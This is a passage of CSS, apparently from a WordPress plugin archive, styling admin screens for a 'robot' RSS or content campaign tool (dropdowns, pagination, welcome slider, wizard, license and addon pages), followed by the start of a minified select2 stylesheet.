0; transition-property: opacity,border-color; transition-duration: .3s; } .robot-wrap .source-select-container .source-select-list-container ul.source-list-results li { cursor: pointer; margin: 0; padding: 5px 14px; color: #888; font: 500 15px/25px Youtubeo,Arial,sans-serif; letter-spacing: -.25px; word-wrap: break-word; transition: .3s ease; } .robot-wrap .source-select-container .source-select-list-container ul.source-list-results, .robot-wrap .source-select-container .source-select-list-container ul.source-list-results li, .robot-wrap .source-select-container .source-select-list-container ul.source-list-results ul { list-style: none; } .robot-wrap .source-select-container .source-select-list-container ul.source-robot-sidenav-hide-md{ display: none; } /* wp content */ #wpcontent { padding-left: 0 !important; } .robot-content-wrap { margin: 30px 100px 0 100px; } /* admin menu */ .fsp-container { background-color: #f3f7fa; color: #EFDABB; font-size: 16px; font-weight: 600; } .fsp-header { background-color: #9bd8ef; background-image: url(../images/bottom-dashed.png); background-position: bottom; background-repeat: repeat-x; -webkit-background-size: 10px 10px; background-size: 10px; display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-box-pack: center; -webkit-justify-content: center; -ms-flex-pack: center; justify-content: center; padding: 15px; } .fsp-container *, .fsp-modal *, .fsp-metabox * { -webkit-box-sizing: border-box; box-sizing: border-box; } .fsp-nav { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-flex-wrap: wrap; -ms-flex-wrap: wrap; flex-wrap: wrap; font-size: 14px; } .fsp-container a, .fsp-container a:focus, .fsp-container a:active, .fsp-container a:hover, .fsp-container a:visited, .fsp-modal a, .fsp-modal a:focus, .fsp-modal a:active, .fsp-modal a:hover, .fsp-modal a:visited, .fsp-metabox a, .fsp-metabox a:focus, .fsp-metabox a:active, .fsp-metabox a:hover, .fsp-metabox a:visited { text-decoration: none; -webkit-transition: none; -o-transition: none; transition: none; -webkit-box-shadow: none; box-shadow: none; } .fsp-container a, .fsp-modal a, .fsp-metabox a { color: #1499ff; } .fsp-nav-link { color: #04223f !important; font-weight: 500; padding: 12px 30px; text-transform: uppercase; letter-spacing: 1px; margin-right: 8px; } .fsp-nav { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-flex-wrap: wrap; -ms-flex-wrap: wrap; flex-wrap: wrap; font-size: 14px; } /* ===== Campaign Post Author Select Container ===== */ .robot-wrap .author-select-container { cursor: pointer; display: block; position: relative; z-index: 1; border: 1px solid #ddd; border-radius: 4px; background-color: #fafafa; text-align: left; transition-property: background; transition-duration: .3s; } .robot-wrap .author-select-container .author-dropdown-handle { width: 39px; display: block; position: absolute; z-index: 1011; top: 0; right: 0; padding: 0; line-height: 38px; text-align: center; transition-property: color,border-color; transition-duration: .3s; } .robot-wrap .author-select-container .author-dropdown-handle [class*=robot-icon-] { height: 38px; display: -ms-flexbox; display: flex; -ms-flex-align: center; align-items: center; -ms-flex-pack: center; justify-content: center; margin: 0!important; font-size: 12px!important; transition: transform .2s linear; } .robot-wrap .author-select-container .author-select-list-container { zoom: 1; display: block; position: relative; padding-right: 39px; } .robot-wrap .author-select-container { cursor: pointer; display: block; position: relative; z-index: 1; border: 1px solid #ddd; border-radius: 4px; background-color: #fafafa; text-align: left; transition-property: background; transition-duration: .3s; } .robot-wrap .author-select-container .author-select-list-container button{ width: 100%; height: auto; cursor: pointer; overflow: hidden; display: block; position: relative; padding: 8px 8px 8px 14px; border: 0; border-radius: 0; background-color: transparent; background-clip: padding-box; color: #333; font: 500 15px/22px Roboto,Arial,sans-serif; letter-spacing: -.25px; text-align: left; text-decoration: none; text-overflow: ellipsis; white-space: nowrap; transition-property: color; transition-duration: .3s; } .robot-wrap .author-select-container .author-select-list-container ul { z-index: 1010; top: 38px; display: block; margin: 0 -1px; padding: 10px 0; transition-property: opacity,border-color; transition-duration: .3s; } .robot-wrap .author-select-container .author-select-list-container ul li { cursor: pointer; margin: 0; padding: 5px 14px; color: #888; font: 500 15px/25px Youtubeo,Arial,sans-serif; letter-spacing: -.25px; word-wrap: break-word; transition: .3s ease; } .robot-wrap .author-select-container .author-select-list-container ul, .robot-wrap .author-select-container .author-select-list-container ul li, .robot-wrap .author-select-container .author-select-list-container ul ul { list-style: none; } .robot-wrap .author-select-container .author-select-list-container ul.robot-sidenav-hide-md{ display: none; } .robot-wrap .robot-pagination-wrap { display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; -ms-flex-align: center; align-items: center; -ms-flex-pack: end; justify-content: flex-end; margin-top: -1px; margin-bottom: -1px; } .robot-wrap .robot-pagination-wrap .robot-pagination-results+.robot-pagination, .robot-wrap .robot-pagination-wrap .robot-pagination-results+button { margin-left: 15px; } .robot-wrap .robot-pagination-wrap .robot-pagination { -ms-flex: 0 0 auto; flex: 0 0 auto; margin-top: 1px; margin-bottom: 1px; } .robot-wrap .robot-pagination, .robot-wrap .robot-pagination li { list-style: none; } .robot-wrap .robot-pagination { overflow: hidden; display: -ms-flexbox; display: flex; -ms-flex-align: center; align-items: center; margin: 0; padding: 0; border: 0; border: 1px solid #e6e6e6; border-radius: 4px; background-color: #fff; } .robot-wrap .robot-pagination li:not(:last-child) { border-right: 1px solid #e6e6e6; } .robot-wrap .robot-pagination li { display: block; -ms-flex: 0 0 40px; flex: 0 0 40px; margin: 0; padding: 0; border: 0; color: #888; font: 500 12px/16px Roboto,Arial,sans-serif; letter-spacing: -.25px; text-align: center; } .robot-wrap .robot-pagination, .robot-wrap .robot-pagination li { list-style: none; } .robot-wrap .robot-pagination li:first-child a { border-top-left-radius: 4px; border-bottom-left-radius: 4px; } .robot-wrap .robot-pagination li a, .robot-wrap .robot-pagination li a:visited { color: #888; } .robot-wrap .robot-pagination li a, .robot-wrap .robot-pagination li a:active, .robot-wrap .robot-pagination li a:focus, .robot-wrap .robot-pagination li a:hover { outline: none; box-shadow: none; border: 0; text-decoration: none; } .robot-wrap .robot-pagination li a { min-width: 40px; display: block; margin: 0; padding: 6px 5px; border: 0; transition: all .3s ease; } .robot-wrap a { text-decoration: none; color: #04223f; font-weight: 600; outline-color: transparent; outline-style: none; box-shadow: none; } .robot-wrap .robot-listings-pagination .robot-pagination-mobile { -ms-flex-pack: end; justify-content: flex-end; margin-bottom: 10px; } .robot-wrap .robot-listings-pagination .robot-pagination-mobile .robot-pagination-results { display: block; margin-right: 15px; } @media (max-width: 782px) { .robot-wrap .robot-listings-pagination .robot-pagination-mobile .robot-pagination-results { -ms-flex: 0 1 auto; flex: 0 1 auto; } } @media (max-width: 782px) { .robot-wrap .robot-listings-pagination .robot-pagination-mobile .robot-pagination li { -ms-flex: 0 0 auto; flex: 0 0 auto; } } @media (max-width: 782px) { .robot-wrap .robot-listings-pagination .robot-pagination-mobile .robot-pagination li a { min-width: 30px; } } @media (max-width: 782px) { .robot-wrap .robot-listings-pagination .robot-pagination-mobile .robot-pagination { -ms-flex: 0 0 auto; flex: 0 0 auto; } } @media (min-width: 783px) { .robot-wrap .robot-listings-pagination .robot-pagination-mobile { display: none; } } .robot-wrap .robot-box-footer { border-top: 1px solid #e6e6e6; padding: 30px; display: -ms-flexbox; display: flex; -ms-flex-align: center; align-items: center; } .robot-wrap .robot-actions-right { display: -ms-flexbox; display: flex; -ms-flex-align: center; align-items: center; margin-left: auto; margin-right: 0; } /* switch */ .switch { display: inline-block; height: 22px; position: relative; width: 48px; } .switch input { display:none; } .slider { background-color: #ccc; bottom: 0; cursor: pointer; left: 0; position: absolute; right: 0; top: 0; transition: .4s; } .slider:before { background-color: #fff; bottom: 4px; content: ""; height: 15px; left: 4px; position: absolute; transition: .4s; width: 15px; } input:checked + .slider { background-color: #04223f; } input:checked + .slider:before { transform: translateX(26px); } .slider.round { border-radius: 34px; } .slider.round:before { border-radius: 50%; } /* loading button */ .loader1 { display:inline-block; font-size:0px; padding:0px; } .loader1 span { vertical-align:middle; border-radius:100%; display:inline-block; width:10px; height:10px; margin:3px 2px; -webkit-animation:loader1 0.8s linear infinite alternate; animation:loader1 0.8s linear infinite alternate; } .loader1 span:nth-child(1) { -webkit-animation-delay:-1s; animation-delay:-1s; background: #ffffff; } .loader1 span:nth-child(2) { -webkit-animation-delay:-0.8s; animation-delay:-0.8s; background: #ffffff; } .loader1 span:nth-child(3) { -webkit-animation-delay:-0.26666s; animation-delay:-0.26666s; background: #ffffff; } .loader1 span:nth-child(4) { -webkit-animation-delay:-0.8s; animation-delay:-0.8s; background: #ffffff; } .loader1 span:nth-child(5) { -webkit-animation-delay:-1s; animation-delay:-1s; background: #ffffff; } @keyframes loader1 { from {transform: scale(0, 0);} to {transform: scale(1, 1);} } @-webkit-keyframes loader1 { from {-webkit-transform: scale(0, 0);} to {-webkit-transform: scale(1, 1);} } .text-center { text-align: center; } /* ===== Slider Direction ===== */ .robot-wrap .robot-content-options { display: flex; } /** * 1. Hides the input from view * 2. Ensures the element does not consume any space */ .robot-wrap .robot-content-options input[type="radio"] { visibility: hidden; /* 1 */ height: 0; /* 2 */ width: 0; /* 2 */ margin-left: -30px; } .robot-wrap .robot-content-options label { display: flex; vertical-align: middle; align-items: center; justify-content: center; text-align: center; cursor: pointer; padding: 9px 20px; border-radius: 0px; background-color: #f8f8f8; color: #666; user-select: none; margin-right: 8px; } .robot-wrap .robot-content-options label:last-of-type { margin-right: 0; } .robot-wrap .robot-content-options input[type="radio"]:checked + label { background-color: #e1f6ff; color: #04223f; } .robot-wrap .robot-content-options input[type="radio"]:hover:not(:checked) + label { background-color: #f8f8f8; color: #666; } /* Welcome page*/ .about-wrap img.robot-help-screenshot { float: right; margin-left: 20px; width: 50%; } .robot-tip { position: relative; display: block; line-height: 19px; padding: 15px 10px 15px 50px; font-size: 14px; text-align: left; margin: 5px 0 0 2px; background-color: #1e8cbe; border-radius: 3px; -webkit-box-shadow: 0 1px 1px 0 rgba(0, 0, 0, .1); box-shadow: 0 1px 1px 0 rgba(0, 0, 0, .1); color: #fff; } .robot-tip a { color: #a4f2ff; font-weight: bold; } .robot-tip:before { content: "\f348"; font: 400 30px/1 dashicons !important; speak: none; color: #fff; display: inline-block; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; vertical-align: bottom; position: absolute; left: 10px; margin-top: -15px; top: 50%; height: 1em; } .demos_masonry { text-align: center; display: grid; grid-gap: 0.5em; grid-template-columns: repeat( auto-fill, minmax( 200px, 1fr ) ); } .feature-cta { text-align: center; display: block; padding: 20px; } .about-wrap .feature-section p { margin-top: .6em; } .about-wrap p { line-height: 1.5; font-size: 16px; } .robot-welcome-wrap{ margin: 0px; max-width: fit-content; } .feature-cta a { background: #0085ba; border-color: #0073aa #006799 #006799; -webkit-box-shadow: 0 1px 0 #006799; box-shadow: 0 1px 0 #006799; color: #fff; text-decoration: none; text-shadow: 0 -1px 1px #006799, 1px 0 1px #006799, 0 1px 1px #006799, -1px 0 1px #006799; padding: 5px 20px; border-radius: 3px; } .document-center{ text-align: center; } .robot-badge-logo img { position: absolute; top: 15px; right: 0; width:150px; height:150px; } /* Wizard page*/ .robot-wrap .header-wizard { width: 50%; background-color: #fff; } .robot-wrap .page-container { margin: 0px; padding: 0px; position: relative; margin-top: 24px !important; margin-right: 24px !important; } .page-container *, .page-prefooter * { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } @media (min-width: 992px){ .robot-wizard-text, .col-md-6 { width: 100%; } .robot-wizard-text, .col-md-6 { float: left; } .col-md-6 { width: 50%; } } .robot-wizard-text{ position: relative; min-height: 1px; padding-right: 15px; padding-left: 15px; background-color: #fff; } .row-custom { margin-right: 0px !important; margin-left: 0px !important; } .textalign p { font-size: 16px; color: #444; padding-left: 40px; padding-right: 40px; } .robot-wizard-permissions { font-size: 18px; text-decoration: none; text-align: center; display: block; color: #a4cd39; padding-top: 10px; padding-bottom: 10px; margin-bottom: 10px; cursor: pointer; } .allow { padding-left: 0px; padding-right: 0px; } .robot-wizard-actions { padding: 10px 20px 10px 20px; } .button.button-primary-wizard { padding: 5px 35px 5px 10px !important; border-width: 2px !important; font-size: 14px !important; font-weight: 800 !important; height: 100% !important; line-height: 30px !important; } .button-primary-wizard { background-color: #a4cd39 !important; border-color: #a4cd39 !important; color: #fff !important; display: inline-block !important; text-decoration: none !important; border-style: outset !important; float: right !important; position: relative !important; } .button-secondary-wizard { color: #fff !important; background: #C0C7CA !important; text-decoration: none !important; font-size: 14px !important; padding: 5px 35px 5px 10px !important; border: 2px outset #f7f7f7 !important; display: inline-block !important; position: relative !important; font-weight: 800 !important; height: 100% !important; line-height: 30px !important; } .terms { background: #e1e1e1; text-align: center; padding-top: 5px; padding-bottom: 5px; } .terms a, .terms span { color: #999; font-size: 10px; text-decoration: none !important; } .cpo-dashicons-arrow-right-alt { position: absolute; top: 12px; right: 5px; } .cpo-dashicons-admin-users, .cpo-dashicons-admin-plugins, .cpo-dashicons-testimonial, .cpo-dashicons-welcome-view-site{ float: left; font-size: 45px; width: 50px; height: 50px; margin-right: 30px; } .admin p, .admin-plugins p, .testimonial p, .settings p{ margin: 0px; font-size: 12px; line-height: normal; } /* License Page */ .robot-wrap .header-license { width: 50%; background-color: #9bd8ef; margin-left: 20px; border: 2px solid transparent; border-radius: 5px; } .robot-license-text{ position: relative; min-height: 1px; padding-top: 50px; padding-bottom: 50px; background-color: #9bd8ef; text-align: center; } .robot-license-text p, .robot-license-text h2{ padding: 0px; margin: 0px; } .robot-license-text div.robot-license-key-wrapper{ padding: 0px 20px; } .robot-license-text div.robot-license-key-wrapper input{ text-align: center; } .robot-license-text .robot-license-action{ margin-top: 20px; } .robot-license-text .robot-license-action button.robot-button.robot-button-blue{ border-radius: 20px; font-weight: 600; font-size: 15px; padding: 10px 20px; } .robot-license-verify-message{ background-color: #04223f; color: #fff; margin-top:20px; margin-left:20px; margin-right:20px; border-radius: 2px; } .robot-license-notice-message{ background-color: #04223f; color: #fff; margin-top:20px; padding: 10px; border-radius: 2px; } .robot-license-notice-message .robot-button{ text-transform:capitalize !important; font-size: 16px !important; font-weight: 500 !important; } /* tabs */ .sui-tab-content{ display: none; } .sui-tab-content .active{ display: block; } .robot-wrap .sui-tabs-menu{ display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; margin: 0; padding: 0; list-style: none; } .robot-wrap .sui-tab-item.active{ background-color: #e1f6ff; color: #04223f; } .robot-wrap .sui-tab-item { cursor: pointer; -ms-flex: 0 0 auto; flex: 0 0 auto; margin: 0 1px 0 0; padding: 9px 20px; border: 0; font: 500 13px/22px Roboto,Arial,sans-serif; letter-spacing: -.25px; text-decoration: none; background-color: #f8f8f8; color: #666; } /* Not display wp notice */ .wp-core-ui .notice, .wp-core-ui .message{ display: none; } /* shortcode generator */ .dropdown-el { position: relative; display: inline-block; width: 100%; margin-bottom: 20px; font-size: 15px; max-height: 2em; overflow: hidden; top: 0.5em; cursor: pointer; text-align: left; white-space: nowrap; color: #444; outline: none; border: 0.06em solid transparent; border-radius: 20px; background-color: #04223f; transition: 0.3s all ease-in-out; } .dropdown-el input:focus + label { background: #def; } .dropdown-el input { width: 1px; height: 1px; display: inline-block; position: absolute; opacity: 0.01; } .dropdown-el label { border-top: 0.06em solid #d9d9d9; display: block; height: 2em; line-height: 2em; padding-left: 1em; padding-right: 3em; cursor: pointer; position: relative; transition: 0.3s color ease-in-out; } .dropdown-el label:nth-child(2) { margin-top: 2em; border-top: 0.06em solid #d9d9d9; } .dropdown-el input:checked + label { display: block; border-top: none; position: absolute; top: 0; width: 100%; color: #fff; } .dropdown-el input:checked + label:nth-child(2) { margin-top: 0; position: relative; } .dropdown-el::after { content: ""; position: absolute; right: 0.8em; top: 0.9em; border: 0.3em solid #04223f; border-color: #444 transparent transparent transparent; transition: 0.4s all ease-in-out; } .dropdown-el.expanded { border: 0.06em solid #04223f; background: #fff; border-radius: 0.25em; padding: 0; box-shadow: rgba(0, 0, 0, 0.1) 3px 3px 5px 0px; max-height: 100%; overflow: scroll; height: 400px; } .dropdown-el.expanded label { border-top: 0.06em solid #d9d9d9; } .dropdown-el.expanded label:hover { color: #04223f; } .dropdown-el.expanded input:checked + label { color: #04223f; } .dropdown-el.expanded::after { transform: rotate(-180deg); top: 0.55em; } .dropdown-el.translator-from-language, .dropdown-el.translator-to-language { width: 40%; } .dropdown-el.translator-from-language{ margin-right: 15px; } .robot-translator-select-language{ display: flex; } .robot-translator-select-language .robot-settings-label{ padding-top: 12px !important; padding-right: 10px !important; } /* Addons */ @media (min-width: 783px){ .robot-wrap .hui-addons { margin: -15px; } } .robot-wrap .hui-addons { display: -ms-flexbox; display: flex; -ms-flex-direction: row; flex-direction: row; -ms-flex-wrap: wrap; flex-wrap: wrap; -ms-flex-align: start; align-items: flex-start; padding:20px; } @media (min-width: 783px){ .robot-wrap .hui-addons .hui-addon-card { width: calc(33.33% - 30px); -ms-flex: 0 0 auto; flex: 0 0 auto; margin: 15px; } } @media (max-width: 782px){ .robot-wrap .hui-addons .hui-addon-card { width: calc(50% - 20px); -ms-flex: 0 0 auto; flex: 0 0 auto; margin: 10px; } .robot-wrap .hui-addons .hui-addon-card button.whdi-addon-purchase-button{ display: none; } } @media (max-width: 375px){ .robot-wrap .hui-addons .hui-addon-card { width: 100%; -ms-flex: 0 0 auto; flex: 0 0 auto; margin: 10px; } } .robot-wrap .hui-addons .hui-addon-card { position: relative; overflow: hidden; background-color: #fff; border-radius: 4px; box-shadow: 0 2px 7px 0 rgba(0,0,0,.05); transition: all .3s ease; } .robot-wrap .hui-addons .hui-addon-card.active { box-shadow: 0 7px 7px 0 rgba(0,0,0,.05); } .robot-wrap .hui-addons .hui-addon-card .hui-addon-card--image { position: relative; } .robot-wrap .hui-addons .hui-addon-card .hui-addon-card--image.active { opacity: 0.5; background-color: #353335; } .robot-wrap .hui-addons .hui-addon-card .hui-addon-info { margin: 0; padding: 20px; } .robot-wrap .hui-addons .hui-addon-card .hui-addon-info h4{ color: #000; font-size: 15px; font-weight: 500; letter-spacing: -.25px; margin: 0; margin-bottom: 10px; } .robot-wrap .hui-addons .hui-addon-card .hui-addon-info span{ font-size: 12px; } .robot-wrap .hui-addons .hui-screen-reader-highlight { position: fixed; top: -1000em; } .robot-wrap .hui-addons .hui-addon-card button.whdi-button-blue { position: absolute; bottom: 30px; right: 20px; background-color: #17a8e3; color: #fff; } .robot-wrap .hui-addons .hui-addon-card button { position: absolute; cursor: pointer; display: inline-block; position: relative; margin: 0; border: 2px solid transparent; border-radius: 4px; text-decoration: none; text-align: center; transition: all .3s ease; padding: 5px 14px; letter-spacing: -.25px; text-transform: uppercase; } #whdi-preview-button{ border-radius: 4px; } .robot-wrap .hui-addons .hui-addon-card .hui-addon-card--image .hui-addon-card--mask { width: 100%; height: 100%; opacity: 0; display: block; position: absolute; top: 0; left: 0; background-color: rgba(0, 0, 0, 0.7); transition: all 0.3s ease; } .robot-wrap .hui-addons .hui-addon-card:before { content: " "; width: 100%; height: 100%; opacity: 0; position: absolute; pointer-events: none; z-index: 1; top: 0; left: 0; background-color: transparent; border: 2px dotted #17a8e3; transition: all 0.3s ease; } .robot-wrap .hui-addons .hui-addon-card:focus-within .hui-addon-card--image .hui-addon-card--mask, .robot-wrap .hui-addons .hui-addon-card:focus .hui-addon-card--image .hui-addon-card--mask, .robot-wrap .hui-addons .hui-addon-card:hover .hui-addon-card--image .hui-addon-card--mask { opacity: 1; } .robot-wrap .hui-addons .hui-addon-card:focus-within button, .robot-wrap .hui-addons .hui-addon-card:focus button, .robot-wrap .hui-addons .hui-addon-card:hover button { opacity: 1; } .robot-wrap .hui-addons .hui-addon-card:hover { box-shadow: 0 5px 25px 0 rgba(0, 0, 0, 0.15); } .robot-wrap .hui-addons .hui-addon-card:focus, .robot-wrap .hui-addons .hui-addon-card:focus-within { outline: none; box-shadow: none; } .robot-wrap .hui-addons .hui-addon-card:focus-within:hover, .robot-wrap .hui-addons .hui-addon-card:focus:hover { box-shadow: 0 5px 25px 0 rgba(0, 0, 0, 0.15); } .robot-wrap .hui-addons .hui-addon-card:focus-within:before, .robot-wrap .hui-addons .hui-addon-card:focus:before { opacity: 1; } .robot-wrap .hui-addons .hui-addon-card .whdi-addon-preview-button{ opacity: 0; position: absolute; top: 67px; left: 50%; transform: translateX(-50%); border-color: #fff; color: #fff; background-color: transparent; } /* Welcome page */ #robot-welcome-wrap{ margin: 20px; } #robot-welcome-wrap * { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } .cd-slider-wrapper { position: relative; width: 100%; height: 90vh; overflow: hidden; margin: 0 auto; } #robot-welcome-wrap, #robot-welcome-wrap td, #robot-welcome-wrap h1, #robot-welcome-wrap h2, #robot-welcome-wrap h3, #robot-welcome-wrap h4, #robot-welcome-wrap input, #robot-welcome-wrap select, #robot-welcome-wrap textarea, #robot-welcome-wrap button, #robot-welcome-wrap li, #robot-welcome-wrap a { font-family: soleil, sans-serif; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .cd-slider-wrapper .cd-slider, .cd-slider-wrapper .cd-slider > li { height: 100%; width: 100%; } .cd-slider > li:first-of-type, .cd-slider > li:nth-of-type(2), .cd-slider > li:nth-of-type(3), .cd-slider > li:nth-of-type(4) { background-size: cover; } .cd-slider > li:first-of-type { background-color: #9bd8ef; } .cd-slider > li { background-color: #9bd8ef; } .cd-slider > li.visible { position: relative; z-index: 2; opacity: 1; } .cd-slider > li { position: absolute; top: 0; left: 0; opacity: 0; display: table; background-position: center center; background-repeat: no-repeat; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .cd-slider > li > div { display: table-cell; vertical-align: middle; text-align: center; } .cd-slider > li h2, .cd-slider > li p { line-height: 1.2; margin: 0 auto 14px; color: #04223f; width: 90%; max-width: 520px; } .cd-slider > li h2 { font-size: 40px; } .robot-logo-big { width: 100px; } .robot-welcome-next, .robot-slide-trigger-button { background-color: #2ECC71; padding: 10px 20px; color: white; text-decoration: none; font-weight: 600; font-size: 16px; margin: 0px 10px; box-shadow: 0 10px 30px rgb(0 0 0 / 16%); width: -moz-fit-content; width: -webkit-fit-content; width: fit-content; display: flex; align-items: center; } .robot-welcome-prev { height: 100%; background-color: #3498DB; padding: 10px 20px; color: white; text-decoration: none; font-weight: 600; font-size: 16px; margin: 0px 0px 0px 10px; box-shadow: 0 10px 30px rgb(0 0 0 / 16%); width: -moz-fit-content; width: -webkit-fit-content; width: fit-content; display: flex; align-items: center; } .cd-slider-navigation { position: relative; bottom: 110px; z-index: 3; display: flex; justify-content: center; } .cd-slider > li p { font-size: 18px; line-height: 26px; text-align: center; margin: 30px auto; max-width: 520px; width: 90%; } .cd-slider > li.visible { position: relative; z-index: 2; opacity: 1; } /* svg cover layer */ .cd-svg-cover { position: absolute; z-index: 1; left: 0; top: 0; height: 100%; width: 100%; opacity: 0; } .cd-svg-cover path { fill: #BB342F; } .cd-svg-cover.is-animating { z-index: 4; opacity: 1; -webkit-transition: opacity 0.6s; -moz-transition: opacity 0.6s; transition: opacity 0.6s; } .robot-welcome-link-button { color: #fff !important; padding: 10px 30px; background-color: #04223f; font-weight: 700; font-size: 15px; box-shadow: 0 20px 38px rgb(0 0 0 / 16%); text-decoration: none; } .robot-welcome-link-button:focus{ color: #fff; } .robot-welcome-link-button:hover{ color: #fff; } .robot-slide div input.robot_campaign_name { cursor: text; width: 50%; text-align: center; margin: 0; padding: 9px 14px; border: 1px solid #ddd; background-color: #fafafa; border-radius: 4px; color: #333; font: 500 15px/20px Roboto,Arial,sans-serif; letter-spacing: -.25px; transition: .3s ease-in-out; } /* selected rss keywords*/ .robot-rss-keywords{ background-color: #9bd8ef; border-color: #9bd8ef; margin: 0 230px; } .robot-rss-keywords .label-info{ display: inline-block; background-color: #636c72; padding: 0 0.4em 0.15em; border-radius: 0.25rem; margin-bottom: 0.4em; } /* selected rss tags */ #robot-tags-wrap .input { border: 1px solid #04223f; margin: 0px 220px; cursor: text; text-align: center; padding: 9px 14px; border: 1px solid #ddd; background-color: #fafafa; border-radius: 4px; color: #333; font: 500 15px/20px Roboto,Arial,sans-serif; letter-spacing: -.25px; transition: .3s ease-in-out; } #robot-tags-wrap .tags, #robot-tags-wrap #robot-search{ display: inline-block; } #robot-tags-wrap #robot-search { cursor: text; border: none; outline: none !important; box-sizing: border-box; border-color: inherit; -webkit-box-shadow: none; box-shadow: none; } #robot-tags-wrap .tag { display: inline-block; border: 1px solid #d0d0d0; padding: 0.3rem 0.5rem; border-radius: 0.4rem; margin: 0 3px; } #robot-tags-wrap .tag-name { color: #6f6f6f; } #robot-tags-wrap .remove { font-size: 0.9rem; font-weight: 700; color: #e0e0e0; margin-left: 0.3rem; cursor: pointer; } #robot-tags-wrap .remove:hover { color: #8f8f8f; } /* settings page */ .robot-wrap .robot-box-footer { border-top: 1px solid #e6e6e6; padding: 30px; display: -ms-flexbox; display: flex; -ms-flex-align: center; align-items: center; } .robot-wrap .robot-actions-right { display: -ms-flexbox; display: flex; -ms-flex-align: center; align-items: center; margin-left: auto; margin-right: 0; } .dropdown-el.robot-init-language-selector, .dropdown-el.robot-init-category-selector, .dropdown-el.robot-init-type-selector{ width: 50%; } /* radio */ .mode-container { width: 80%; margin: 0 auto; } .mode-switch { margin: 4rem auto; } /* main styles */ .mode-switch { width: 24rem; position: relative; } .mode-switch input { position: absolute; top: 0; z-index: 2; opacity: 0; cursor: pointer; } .mode-switch input:checked { z-index: 1; } .mode-switch input:checked + label { opacity: 1; cursor: pointer; } .mode-switch input:not(:checked) + label:hover { opacity: 0.5; } .mode-switch label { color: #fff; opacity: 0.33; transition: opacity 0.25s ease; cursor: pointer; } .mode-switch .toggle-outside { height: 100%; border-radius: 2rem; padding: 0.25rem; overflow: hidden; transition: 0.25s ease all; } .mode-switch .toggle-inside { border-radius: 5rem; background: #4a4a4a; position: absolute; transition: 0.25s ease all; } .mode-switch--horizontal { width: 18rem; height: 3rem; margin: 0 auto; font-size: 0; margin-bottom: 1rem; cursor: pointer; } .mode-switch--horizontal input { height: 3rem; width: 6rem; left: 6rem; margin: 0; } .mode-switch--horizontal label { font-size: 1.5rem; line-height: 3rem; display: inline-block; width: 6rem; height: 100%; margin: 0; text-align: center; } .mode-switch--horizontal label:last-of-type { margin-left: 6rem; } .mode-switch--horizontal .toggle-outside { background: #fff; position: absolute; width: 6rem; left: 6rem; } .mode-switch--horizontal .toggle-inside { height: 2.5rem; width: 2.5rem; } .mode-switch--horizontal input:checked ~ .toggle-outside .toggle-inside { left: 0.25rem; } .mode-switch--horizontal input ~ input:checked ~ .toggle-outside .toggle-inside { left: 3.25rem; } [class*=robot-error-message-]{ color: #BB342F; margin-top: 10px; }assets/css/select2.min.css000064400000036717147600277620011524 0ustar00.select2-container{box-sizing:border-box;display:inline-block;margin:0;position:relative;vertical-align:middle}.select2-container .select2-selection--single{box-sizing:border-box;cursor:pointer;display:block;height:28px;user-select:none;-webkit-user-select:none}.select2-container .select2-selection--single .select2-selection__rendered{display:block;padding-left:8px;padding-right:20px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.select2-container .select2-selection--single .select2-selection__clear{background-color:transparent;border:none;font-size:1em}.select2-container[dir="rtl"] .select2-selection--single .select2-selection__rendered{padding-right:8px;padding-left:20px}.select2-container .select2-selection--multiple{box-sizing:border-box;cursor:pointer;display:block;min-height:32px;user-select:none;-webkit-user-select:none}.select2-container .select2-selection--multiple .select2-selection__rendered{display:inline;list-style:none;padding:0}.select2-container .select2-selection--multiple .select2-selection__clear{background-color:transparent;border:none;font-size:1em}.select2-container .select2-search--inline .select2-search__field{box-sizing:border-box;border:none;font-size:100%;margin-top:5px;margin-left:5px;padding:0}.select2-container .select2-search--inline .select2-search__field::-webkit-search-cancel-button{-webkit-appearance:none}.select2-dropdown{background-color:white;border:1px solid #aaa;border-radius:4px;box-sizing:border-box;display:block;position:absolute;left:-100000px;width:100%;z-index:1051}.select2-results{display:block}.select2-results__options{list-style:none;margin:0;padding:0}.select2-results__option{padding:6px;user-select:none;-webkit-user-select:none}.select2-results__option--selectable{cursor:pointer}.select2-container--open .select2-dropdown{left:0}.select2-container--open .select2-dropdown--above{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--open .select2-dropdown--below{border-top:none;border-top-left-radius:0;border-top-right-radius:0}.select2-search--dropdown{display:block;padding:4px}.select2-search--dropdown .select2-search__field{padding:4px;width:100%;box-sizing:border-box}.select2-search--dropdown .select2-search__field::-webkit-search-cancel-button{-webkit-appearance:none}.select2-search--dropdown.select2-search--hide{display:none}.select2-close-mask{border:0;margin:0;padding:0;display:block;position:fixed;left:0;top:0;min-height:100%;min-width:100%;height:auto;width:auto;opacity:0;z-index:99;background-color:#fff;filter:alpha(opacity=0)}.select2-hidden-accessible{border:0 !important;clip:rect(0 0 0 0) !important;-webkit-clip-path:inset(50%) !important;clip-path:inset(50%) !important;height:1px !important;overflow:hidden !important;padding:0 !important;position:absolute !important;width:1px !important;white-space:nowrap !important}.select2-container--default .select2-selection--single{background-color:#fff;border:1px solid #aaa;border-radius:4px}.select2-container--default .select2-selection--single .select2-selection__rendered{color:#444;line-height:28px}.select2-container--default .select2-selection--single .select2-selection__clear{cursor:pointer;float:right;font-weight:bold;height:26px;margin-right:20px;padding-right:0px}.select2-container--default .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--default .select2-selection--single .select2-selection__arrow{height:26px;position:absolute;top:1px;right:1px;width:20px}.select2-container--default .select2-selection--single .select2-selection__arrow b{border-color:#888 transparent transparent transparent;border-style:solid;border-width:5px 4px 0 4px;height:0;left:50%;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--default[dir="rtl"] .select2-selection--single .select2-selection__clear{float:left}.select2-container--default[dir="rtl"] .select2-selection--single 